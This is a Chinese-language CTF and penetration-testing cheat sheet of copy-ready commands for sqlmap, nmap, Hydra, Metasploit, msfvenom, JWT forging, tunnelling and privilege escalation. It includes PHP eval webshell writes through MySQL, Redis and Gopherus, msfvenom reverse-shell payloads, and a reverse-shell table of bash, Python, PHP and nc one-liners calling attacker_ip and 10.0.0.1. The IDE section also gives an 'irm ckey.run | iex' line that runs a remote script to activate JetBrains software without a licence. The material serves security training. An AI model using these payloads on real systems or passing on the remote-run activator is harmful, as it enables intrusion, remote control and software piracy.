前言

打 CTF 和做渗透测试时,工具命令经常忘、参数经常查。本文按场景分类整理了近 30 类常用工具的使用方法,涵盖数据库、SQL 注入、端口扫描、爆破、漏洞利用、Session 伪造、容器、反编译等,每条命令都附带可直接复制的示例。


一、数据库操作

1.1 MySQL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# 登录
sudo mysql -u root

# 建表
create table ctfshow_user(username varchar(100), pass varchar(100));

# 插入
insert into ctfshow_user(username, pass) values('admin', '123');

# 更新
update ctfshow_user set pass='456' where username='admin';

# 删除表
drop table ctfshow_user;

# 修改列名
alter table user change flag id varchar(100);

# 查看当前用户权限
show grants;

# 查看 secure_file_priv(文件读写权限)
show variables like '%secure%';

# 读文件(需 FILE 权限)
select load_file('/etc/passwd');

# 写文件(需 secure_file_priv 为空)
select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/shell.php';

# 查看所有数据库 / 表 / 列
show databases;
use dbname; show tables;
select column_name from information_schema.columns where table_name='xxx';

1.2 SQLite

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 打开 / 创建数据库
sqlite3 mydatabase.db

# 查看数据库文件
.database

# 查看所有表
.tables

# 查看建表语句
.schema user

# 创建表
create table test(
id INT PRIMARY KEY NOT NULL,
name char(50) NOT NULL
);

# 插入 / 查询
insert into user (id, name) values (2, 'dsy');
select * from test;

# 导出数据库
sqlite3 testDB.db .dump > testDB.sql

# 导入数据库
sqlite3 testDB.db < testDB.sql

# 退出
.quit

1.3 Redis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# 连接
redis-cli
redis-cli -h 192.168.1.100 -p 6379 -a password

# 查看所有键
keys *

# 获取键总数
dbsize

# 检查键是否存在
exists keyname

# 获取键值 / 类型
get keyname
type keyname

# 设置键
SET username "zhangsan"

# 批量操作
mset k1 v1 k2 v2 k3 v3
mget k1 k2

# 追加内容
append key value

# 删除键
del keyname

# 查看 info
info

# Redis 写 shell(需知道 web 路径)
config set dir /var/www/html
config set dbfilename shell.php
set x "<?php eval($_POST[1]);?>"
save

二、SQL 注入 —— sqlmap

2.1 基础用法

1
2
3
4
5
6
7
8
9
10
11
# 基本探测
python sqlmap.py -u "url?id=1" --batch --dbs

# 指定参数注入
python sqlmap.py -u "url?search=test" -p search --batch

# POST 注入
python sqlmap.py -u url --method=POST --data="username=admin&password=123" -p password --batch --dbs

# 指定数据库脱库
python sqlmap.py -u url -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch

2.2 带认证 / Header 的请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 带 Cookie
python sqlmap.py -u url --data "id=1" --cookie="PHPSESSID=xxx" --batch --dbs

# 带自定义 Header
python sqlmap.py -u url -H 'X-Forwarded-For: 127.0.0.1'

# 自定义 User-Agent
python sqlmap.py -u url -A 'Mozilla/5.0'

# 指定 Host
python sqlmap.py -u url --host='target.com'

# PUT 方法 + JSON
python sqlmap.py -u url --method="PUT" --data "id=1" --headers="Content-Type: text/plain" --cookie="x=y" --batch --dbs

2.3 高级用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 防止被 ban:加 safe-url 间隔请求
python sqlmap.py -u url --data "id=1" --cookie="x=y" --safe-url="url" --safe-freq=1 --batch

# 使用 tamper 绕过 WAF
python sqlmap.py -u url --data "id=1" --tamper=space2comment,charencode --batch

# OS-Shell(需 dba 权限 + 可写目录)
python sqlmap.py -u url --data "id=1" --os-shell

# 读文件 / 写文件
python sqlmap.py -u url --file-read "/etc/passwd"
python sqlmap.py -u url --file-write "local.php" --file-dest "/var/www/html/shell.php"

# 全自动高等级扫描
python sqlmap.py -u url --level=5 --risk=3 --batch

# 指定数据库类型
python sqlmap.py -u url --dbms=mysql

2.4 盲注专用参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 基于字符串判断
python sqlmap.py -u url --string='Welcome'

# 基于正则判断
python sqlmap.py -u url --regexp='User [a-z]+'

# 基于状态码判断
python sqlmap.py -u url --code=200

# 基于取反判断
python sqlmap.py -u url --not-string='Error'

# 指定注入技术 (B=Boolean, E=Error, U=Union, S=Stacked, T=Time)
python sqlmap.py -u url --technique=B

# 时间盲注延迟秒数
python sqlmap.py -u url --time-sec=2

# 跳过某个参数
python sqlmap.py -u url --skip=timestamp

2.5 常用 tamper 列表

tamper 作用
space2comment 空格替换为 /**/
charencode 对 payload 进行 URL 编码
charunicodeencode Unicode 编码
base64encode Base64 编码
equaltolike = 替换为 LIKE
randomcase 随机大小写
between > 替换为 BETWEEN
space2mysqlblank 空格替换为 MySQL 空白字符

三、端口扫描与信息收集

3.1 Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 基础扫描
nmap 192.168.1.1
nmap -p 1-1000 192.168.1.1
nmap -p 22,80,443,3306 192.168.1.1

# 扫描多个目标
nmap 192.168.1.1 192.168.1.2
nmap 192.168.1.1-100

# 存活探测(C 段)
nmap -sn 192.168.1.0/24

# SYN 半连接扫描(快速)
nmap -sS 192.168.1.0/24

# 服务版本检测
nmap -sV 192.168.1.1

# 操作系统识别
nmap -O 192.168.1.1

# 全面扫描(慢但详细)
nmap -A 192.168.1.1

# 保存结果
nmap -oA scan_results 192.168.1.0/24

# NSE 脚本扫描漏洞
nmap --script=vuln 192.168.1.1
nmap --script=http-enum 192.168.1.1

3.2 Arjun(参数发现)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# GET 参数爆破
python arjun -u http://target.com/page -m GET

# POST 参数爆破
python arjun -u http://target.com/page -m POST

# JSON / XML 参数
python arjun -u http://target.com/api -m JSON

# 带自定义 Header
python arjun -u http://target.com -m GET --headers "Cookie: session=abc" --headers "Authorization: Bearer token"

# 指定线程数
python arjun -u http://target.com -m GET -t 20

3.3 WAF 识别

1
2
3
4
5
# wafw00f
wafw00f https://www.example.com

# nmap 脚本
nmap --script=http-waf-detect 192.168.1.1

3.4 目录扫描 —— ffuf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 基础目录扫描
ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt

# 多字典组合
ffuf -u http://target.com/uploads/FUZZ -w /tmp/num.txt:W1 -w /usr/share/wordlists/raft-medium-extensions-lowercase.txt:W2 -mode clusterbomb

# 过滤状态码
ffuf -u http://target.com/FUZZ -w wordlist.txt -fc 403,404

# 匹配状态码
ffuf -u http://target.com/FUZZ -w wordlist.txt -mc 200,301

# POST 数据模糊测试
ffuf -u http://target.com/login -w wordlist.txt -X POST -d "username=FUZZ&password=test"

3.5 其他扫描工具

1
2
3
4
5
6
7
8
9
10
11
12
# WhatWeb 指纹识别
whatweb https://target.com

# Nikto Web 漏洞扫描
nikto -h https://target.com

# Dirb 目录扫描
dirb https://target.com /usr/share/wordlists/dirb/big.txt

# Gobuster
gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt
gobuster vhost -u https://target.com -w /usr/share/wordlists/dns/subdomains-top1m.txt

四、爆破工具

4.1 Hydra

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# 语法
# hydra 参数 IP 服务名

# SSH 爆破
hydra -L user.txt -P passwd.txt -t 2 -vV -e ns 192.168.10.30 ssh
hydra -l root -P passwd.txt -t 4 -vV 192.168.10.30 ssh

# FTP 爆破
hydra -L user.txt -P passwd.txt -t 2 -vV 192.168.10.30 ftp

# MySQL 爆破
hydra -l root -P passwd.txt -t 6 -vV 192.168.10.150 mysql

# RDP 爆破
hydra -L user.txt -P passwd.txt -t 6 -vV 192.168.10.150 rdp

# HTTP POST 表单爆破
hydra -l admin -P passwd.txt -t 6 -vV 192.168.10.150 http-post-form "/login.php:username=^USER^&password=^PASS^&submit=login:Login failed"

# HTTP Basic Auth 爆破
hydra -l admin -P passwd.txt -t 6 -vV 192.168.10.150 http-get "/admin/"

# 常用参数说明
# -l 单个用户名
# -L 用户名字典
# -p 单个密码
# -P 密码字典
# -t 线程数
# -vV 详细输出
# -e ns 尝试空密码和用户名当密码
# -f 找到就停
# -o 输出到文件

4.2 Crunch(字典生成)

1
2
3
4
5
6
7
8
9
10
11
# 生成 4 位纯数字字典
crunch 4 4 0123456789 -o 4digits.txt

# 生成 4 位小写字母+数字字典
crunch 4 4 0123456789abcdefghijklmnopqrstuvwxyz -o 4chars.txt

# 生成 6-8 位字典
crunch 6 8 0123456789 -o 6-8digits.txt

# 按模式生成(@ 表示小写字母,% 表示数字)
crunch 8 8 -t pass%%%% -o pass+4digits.txt

4.3 John the Ripper

1
2
3
4
5
6
7
8
9
10
11
12
13
# 破解 Linux 密码
unshadow /etc/passwd /etc/shadow > hash.txt
john hash.txt

# 破解 ZIP 密码
zip2john encrypted.zip > zip.hash
john zip.hash

# 指定字典
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

# 显示已破解的密码
john --show hash.txt

4.4 Hashcat

1
2
3
4
5
6
7
8
9
10
11
12
# 识别 hash 类型
hashid 'hash_string'
hash-identifier

# MD5 爆破
hashcat -m 0 -a 0 hash.txt wordlist.txt

# SHA256
hashcat -m 1400 -a 0 hash.txt wordlist.txt

# 使用规则
hashcat -m 0 -a 0 hash.txt wordlist.txt -r rules/best64.rule

五、漏洞利用框架

5.1 Metasploit (msf)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# 启动
msfconsole

# 搜索漏洞
search ms17-010
search type:exploit platform:linux
search mysql

# 使用模块
use exploit/windows/smb/ms17_010_eternalblue

# 查看配置
show options

# 设置参数
set rhosts 192.168.1.10
set rport 445
set lhost 192.168.1.5
set lport 4444
set payload windows/x64/meterpreter/reverse_tcp

# 执行攻击
run
# 或
exploit

# 后台运行 session
bg
# 查看 session
sessions -l
# 回到 session
sessions -i 1

# 路由转发(内网渗透)
route add 10.0.0.0 255.255.255.0 1
route print

5.2 msfvenom(Payload 生成)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Linux 反弹 shell
sudo msfvenom -p linux/x64/shell_reverse_tcp LHOST=8.145.33.254 LPORT=44 -f elf -o shell.elf

# Windows exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=8.8.8.8 LPORT=4444 -f exe -o shell.exe

# PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=8.8.8.8 LPORT=4444 -f raw -o shell.php

# Python
msfvenom -p python/meterpreter/reverse_tcp LHOST=8.8.8.8 LPORT=4444 -f raw -o shell.py

# War (Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=8.8.8.8 LPORT=4444 -f war -o shell.war

# 列出所有 payload
msfvenom --list payloads | grep reverse_tcp

5.3 SearchSploit

1
2
3
4
5
6
7
8
9
10
11
12
# 搜索 exploit
searchsploit apache 2.4
searchsploit wordpress

# 查看 exploit 详情
searchsploit -x 12345

# 复制 exp 到当前目录
searchsploit -m 12345

# exp 路径
# /usr/share/exploitdb/exploits/

六、Session / JWT 工具

6.1 flask-unsign(Flask Session)

1
2
3
4
5
6
7
8
# 解码 session
flask-unsign --decode --cookie 'eyJ1c2VybmFtZSI6ImFkbWluIn0.xxx'

# 爆破 secret key
flask-unsign --unsign --cookie 'eyJ1c2VybmFtZSI6ImFkbWluIn0.xxx' --wordlist /usr/share/wordlists/rockyou.txt

# 伪造 session
flask-unsign --sign --cookie '{"username":"admin","is_admin":true}' --secret 'mysecretkey'

Flask session 伪造脚本(Python 版):

1
2
3
4
5
# 解密
python flask_session_cookie_manager3.py decode -s "secret_key" -c "session值"

# 加密
python flask_session_cookie_manager3.py encode -s "secret_key" -t '{"key":"value"}'

6.2 jwt_tool

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 爆破密钥
python jwt_tool.py <jwt> -C -d /usr/share/wordlists/rockyou.txt

# 查看 JWT 信息
python jwt_tool.py <jwt>

# 算法混淆攻击(None Algorithm)
python jwt_tool.py <jwt> -X a

# 密钥混淆攻击(HMAC → RSA)
python jwt_tool.py <jwt> -X k -pk my_public.pem

# 修改 payload
python jwt_tool.py <jwt> -I -pc username -pv admin

6.3 c-jwt-cracker

1
2
# C 语言实现的 JWT 爆破,速度快
/home/c-jwt-cracker/jwtcrack <jwt>

七、内网 / 协议利用

7.1 Gopherus(Gopher 协议利用)

打 MySQL:

1
2
3
python gopherus.py --exploit mysql
# 输入用户名: root
# 输入 SQL: select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/shell.php"

打 Redis:

1
2
3
4
python gopherus.py --exploit redis
# 选择 phpshell
# 输入 web 目录: /var/www/html
# 输入 shell 内容: <?php eval($_POST[1]);?>

打 FastCGI(9000 端口):

1
2
3
python gopherus.py --exploit fastcgi
# 输入已确定存在的文件: /usr/share/php/PEAR.php
# 输入命令: ls /

打 PostgreSQL:

1
2
3
4
python gopherus.py --exploit postgresql
# 输入用户: root
# 输入数据库名: test
# 输入 SQL: select * from users

7.2 Chisel(内网穿透)

1
2
3
4
5
6
# VPS 上(服务端)
./chisel server -p 8080 --reverse

# 靶机上(客户端)
./chisel client vps_ip:8080 R:0.0.0.0:8081:127.0.0.1:80
# 将靶机 80 端口映射到 VPS 的 8081

7.3 Frp(内网穿透)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# VPS 上 frps.ini
[common]
bind_port = 7000

# 靶机上 frpc.ini
[common]
server_addr = vps_ip
server_port = 7000

[web]
type = tcp
local_ip = 127.0.0.1
local_port = 80
remote_port = 8080

八、Web 工具

8.1 Fenjing(SSTI 自动化利用)

1
2
3
4
5
6
7
8
# 启动 Web UI
python -m fenjing webui

# 命令行检测
python -m fenjing crack -u "http://target.com/{{7*7}}" --form-regex "49"

# 获取 shell
python -m fenjing crack -u "http://target.com/page?name={{}}" --exec-cmd "cat /flag"

8.2 DVCS-Ripper(版本控制泄露)

1
2
3
4
5
6
7
8
# SVN 泄露
./rip-svn.pl -v -u http://www.example.com/.svn/

# CVS 泄露
./rip-cvs.pl -v -u http://www.example.com/CVS/

# Git 泄露
./rip-git.pl -v -u http://www.example.com/.git/

8.3 GitHacker / GitHack

1
2
3
4
5
# GitHacker
python GitHacker.py --url http://target.com/.git/ --output-folder ./result

# GitHack
python GitHack.py http://target.com/.git/

九、流量分析

9.1 Scapy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 进入交互模式
scapy

# 查看网卡
show_interfaces()

# 抓包
pkg = sniff(iface="eth0", count=10, filter="icmp")

# 查看包详情
pkg[0].show()

# 保存到文件
wrpcap("capture.pcap", pkg)

# 读取文件
pkg1 = rdpcap("capture.pcap")

# Python 脚本抓包并解析
from scapy.all import *
pkts = sniff(iface="eth0", count=100, filter="tcp port 80")
for pkt in pkts:
if pkt.haslayer(Raw):
print(pkt[Raw].load)

9.2 tcpdump

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 抓取指定网卡
tcpdump -i eth0

# 抓取指定端口
tcpdump -i eth0 port 80

# 保存到文件
tcpdump -i eth0 -w capture.pcap

# 读取文件
tcpdump -r capture.pcap

# 过滤 HTTP 请求
tcpdump -A -i eth0 port 80

9.3 Wireshark 常用过滤

1
2
3
4
5
6
http.request.method == "POST"
http contains "flag"
tcp.port == 4444
dns
icmp
tcp.stream eq 0

十、提权与信息收集

10.1 LinEnum

1
2
3
4
5
6
7
# 赋予权限
chmod a+x LinEnum.sh

# 全面信息收集
./LinEnum.sh -r report -e /tmp/ -t

# 报告生成在 /tmp/LinEnum-export-日-月-年/

10.2 Linux 基础提权信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 查看内核版本
uname -a

# 查看 SUID 文件
find / -perm -4000 -type f 2>/dev/null

# 查看 sudo 权限
sudo -l

# 查看定时任务
cat /etc/crontab

# 查看可写目录
find / -writable -type d 2>/dev/null

# 查看运行的服务
ps aux
netstat -antp
ss -antp

# 查看历史命令
cat ~/.bash_history

# Ubuntu 提权
sudo -i

10.3 GTFOBins 速记

1
2
3
4
5
6
7
8
9
10
11
12
# find 提权
find . -exec /bin/sh -p \; -quit

# vim 提权
vim -c ':!/bin/sh'

# less 提权
less /etc/passwd
# 进入后输入: !/bin/sh

# awk 提权
awk 'BEGIN {system("/bin/sh")}'

十一、Docker

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# 启动 Docker 服务
sudo systemctl start docker

# 搜索镜像
sudo docker search nginx

# 拉取镜像
docker pull nginx:latest

# 查看已有镜像
docker image ls

# 删除镜像
docker rmi <IMAGE_ID>

# 运行容器(后台、命名、端口映射)
docker run -d --name mynginx -p 88:80 nginx

# 查看运行中的容器
docker ps

# 查看所有容器
docker ps -a

# 启动 / 停止 / 重启
docker start <CONTAINER_ID>
docker stop <CONTAINER_ID>
docker restart <CONTAINER_ID>

# 查看资源占用
docker stats <CONTAINER_ID>

# 进入容器 shell
docker exec -it mynginx /bin/bash

# 查看日志
docker logs mynginx

# 容器 → 镜像
docker commit -m "description" mynginx mynginx:v2

# 导出 / 导入镜像
docker save -o mynginx.tar mynginx:v2
docker load -i mynginx.tar

# 文件挂载(主机目录 : 容器目录)
docker run -d -p 80:80 -v /app/nghtml:/usr/share/nginx/html --name app01 nginx

# 卷映射(Docker 管理)
docker run -d -p 80:80 -v nghtml:/usr/share/nginx/html --name app01 nginx

# 查看卷
docker volume ls

# 重命名镜像
docker tag mynginx:v1.0 username/mynginx:latest

# 推送到仓库
docker push username/mynginx:latest

# 查看网络
docker network ls

# 清理:删除所有停止的容器、未使用的网络、悬空镜像
docker system prune -a

十二、反编译

12.1 Java Decompiler

1
2
3
4
5
6
7
8
# 反编译单个 class 文件
java -jar java-decompiler.jar -log=warn d:/my.class d:/decompiled

# 反编译 jar 包
java -jar java-decompiler.jar -log=warn d:/my.jar d:/decompiled

# 反编译整个目录
java -jar java-decompiler.jar -log=warn d:/my d:/decompiled

12.2 其他反编译工具

1
2
3
4
5
6
7
8
9
10
11
12
# jadx(推荐,GUI + 命令行)
jadx target.apk
jadx-gui target.apk

# CFR(Java class)
java -jar cfr.jar target.jar --outputdir ./output

# JD-GUI(图形化)
# 下载后直接打开 jar/class 文件即可

# 在线反编译
# https://www.javadecompilers.com/

十三、Python 开发环境

13.1 虚拟环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 创建虚拟环境
python3 -m venv ~/myenv

# 激活(Linux/macOS)
source ~/myenv/bin/activate

# 激活(Windows)
~/myenv/Scripts/activate

# 退出
deactivate

# 安装依赖
pip install ratelimit requests

# 导出依赖列表
pip freeze > requirements.txt

# 从文件安装
pip install -r requirements.txt

13.2 快速 HTTP 服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Python 3
python3 -m http.server 8080

# Python 2
python -m SimpleHTTPServer 8080

# PHP
php -S 0.0.0.0:8080

# 文件传输(接收端)
nc -lvp 4444 > received_file

# 文件传输(发送端)
nc target_ip 4444 < file_to_send

十四、IDE 与编辑器

14.1 IntelliJ IDEA

1
2
3
4
5
6
7
8
9
Ctrl+Shift+F     在项目中全局搜索(Find in Path)
Ctrl+Alt+F7 在项目和库中搜索用法
Ctrl+F12 查看当前文件所有方法和类
Ctrl+Shift+F8 断点视图
Ctrl+Alt+L 格式化代码
Ctrl+D 复制当前行
Ctrl+Y 删除当前行
Ctrl+Shift+Enter 补全当前语句
Alt+Insert 自动生成(getter/setter/构造器等)

JetBrains 全系列产品激活:

1
2
# PowerShell 中运行
irm ckey.run | iex

14.2 VS Code

1
2
3
4
5
6
7
8
Ctrl+Shift+P   命令面板
Ctrl+P 快速打开文件
Ctrl+Shift+F 全局搜索
Ctrl+D 选中下一个相同单词
Ctrl+F2 选中所有相同单词
Ctrl+/ 注释
Alt+↑/↓ 移动行
Ctrl+` 打开终端

十五、其他实用工具速查

15.1 XFTP / XShell

1
2
3
4
# 获取本机 IP
ip addr

# 文件传输直接用 XFTP 连接即可

15.2 ssh 常用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 密码登录
ssh user@192.168.1.100

# 指定端口
ssh -p 2222 user@192.168.1.100

# 密钥登录
ssh -i ~/.ssh/id_rsa user@192.168.1.100

# 端口转发(本地端口 → 远程端口)
ssh -L 8080:127.0.0.1:80 user@vps

# 远程端口转发(远程端口 → 本地端口)
ssh -R 8080:127.0.0.1:80 user@vps

# SCP 文件传输
scp local_file user@remote:/path/
scp -r local_dir user@remote:/path/

# 关机
sudo shutdown -h now

15.3 压缩 / 解压

1
2
3
4
5
6
7
8
9
10
11
12
13
# tar
tar -cvf archive.tar folder/
tar -xvf archive.tar
tar -czvf archive.tar.gz folder/ # 压缩为 gz
tar -xzvf archive.tar.gz # 解压 gz

# zip
zip -r archive.zip folder/
unzip archive.zip

# 7z
7z x archive.7z
7z a archive.7z folder/

15.4 curl 常用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# GET
curl http://target.com/api

# POST JSON
curl -X POST http://target.com/api -H "Content-Type: application/json" -d '{"key":"value"}'

# POST 表单
curl -X POST http://target.com/login -d "username=admin&password=123"

# 带 Cookie
curl http://target.com -H "Cookie: session=xxx"

# 带自定义 Header
curl http://target.com -H "X-Forwarded-For: 127.0.0.1"

# 查看响应头
curl -I http://target.com

# 跟随重定向
curl -L http://target.com

# 代理
curl -x http://127.0.0.1:8080 http://target.com

15.5 netcat

1
2
3
4
5
6
7
8
9
10
11
12
13
# 监听端口
nc -lvp 4444

# 连接端口
nc 192.168.1.1 80

# 反弹 shell(Linux)
nc -e /bin/bash attacker_ip 4444
# 或
bash -i >& /dev/tcp/attacker_ip/4444 0>&1

# 反弹 shell(无 -e)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker_ip 4444 >/tmp/f

附录 A:Kali 自带常用字典路径

字典 路径
dirb /usr/share/wordlists/dirb/
rockyou /usr/share/wordlists/rockyou.txt.gz
SecLists /usr/share/seclists/

附录 B:反弹 Shell 速查表

1
2
3
4
5
6
7
8
9
10
11
# Bash
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

# Python
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# PHP
php -r '$sock=fsockopen("10.0.0.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# nc + mkfifo
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f

本文持续更新中,最后更新于 2026-07-23。